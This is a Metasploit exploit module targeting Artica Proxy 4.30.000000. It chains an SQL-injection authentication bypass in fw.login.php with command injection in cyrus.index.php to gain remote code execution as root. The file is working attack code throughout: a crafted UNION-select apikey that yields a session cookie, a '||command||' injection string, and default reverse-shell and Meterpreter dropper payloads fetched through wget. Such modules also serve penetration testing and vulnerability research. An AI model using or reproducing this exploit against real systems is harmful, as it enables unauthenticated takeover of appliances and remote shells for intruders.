# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Artica proxy 4.30.000000 Auth Bypass
service-cmds-peform Command Injection',
'Description' => %q{
This module exploits an authenticated command injection
vulnerability in Artica Proxy, combined with an authentication
bypass
discovered on the same version, it is possible to trigger the
vulnerability without knowing the credentials.
The application runs in virtual appliance, successful exploitation
of this vulnerability yields remote code execution as root on
the
remote system.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Max0x4141', # discovery
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # msf module
],
'References' =>
[
['CVE', '2020-17505'], # RCE
['CVE', '2020-17506'], # Auth bypass
['EDB', '48744'],
['PACKETSTORM', '158868'],
['URL', 'https://blog.max0x4141.com/post/artica_proxy/']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPort' => 9000
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl'
}
],
[
'Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-08-09',
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Artica
Proxy', '/']),
OptString.new('PHPSESSID', [false, 'The cookie obtained after
successful authentication, if present'])
]
)
# XXX:
https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end
def check
if datastore['PHPSESSID']
@phpsessid = datastore['PHPSESSID']
else
check_result = auth_bypass
return check_result unless check_result ==
CheckCode::Vulnerable
@phpsessid = check_result.reason
end
rand_string = Rex::Text.rand_text_alphanumeric(4..16)
if execute_command("echo
#{Rex::Text.encode_base64(rand_string)}|base64
-d").include?(rand_string)
CheckCode::Appears
else
CheckCode::Safe
end
end
def execute_command(cmd, _opts = {})
print_status 'Attempting to gain RCE via CVE-2020-17505'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'),
'vars_get' => {
'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd,
'hex-all')}||"
},
'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1;
shellinaboxCooKie=1"
})
res ? res.body : ''
end
def auth_bypass
serialized_object =
'a:2:{s:3:"uid";s:4:"-100";s:22:"ACTIVE_DIRECTORY_INDEX";s:1:"1";}'
apikey = "' UNION select
1,'#{Rex::Text.encode_base64(serialized_object)}';"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'fw.login.php'),
'vars_get' => {
'apikey' => apikey
}
})
return Exploit::CheckCode::Unknown("Unable to connect to
#{target_uri.path}") unless res
return Exploit::CheckCode::Safe('Authentication failed') unless res
&& [200, 301, 302].include?(res.code)
Exploit::CheckCode::Vulnerable(res.get_cookies[/PHPSESSID=(.+?);/,
1])
end
def exploit
if datastore['PHPSESSID']
@phpsessid = datastore['PHPSESSID']
else
print_status 'Attempting to bypass authentication via
CVE-2020-17506 (SQL injection)'
bypass_result = auth_bypass
case bypass_result
when CheckCode::Safe then fail_with(Failure::NoAccess,
bypass_result.reason)
when CheckCode::Unknown then fail_with(Failure::Unknown,
bypass_result.reason)
else @phpsessid = bypass_result.reason
end
end
print_good "Session cookie : #{@phpsessid}"
case target['Type']
when :unix_command then execute_command(payload.encoded)
when :linux_dropper then execute_cmdstager
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
end
end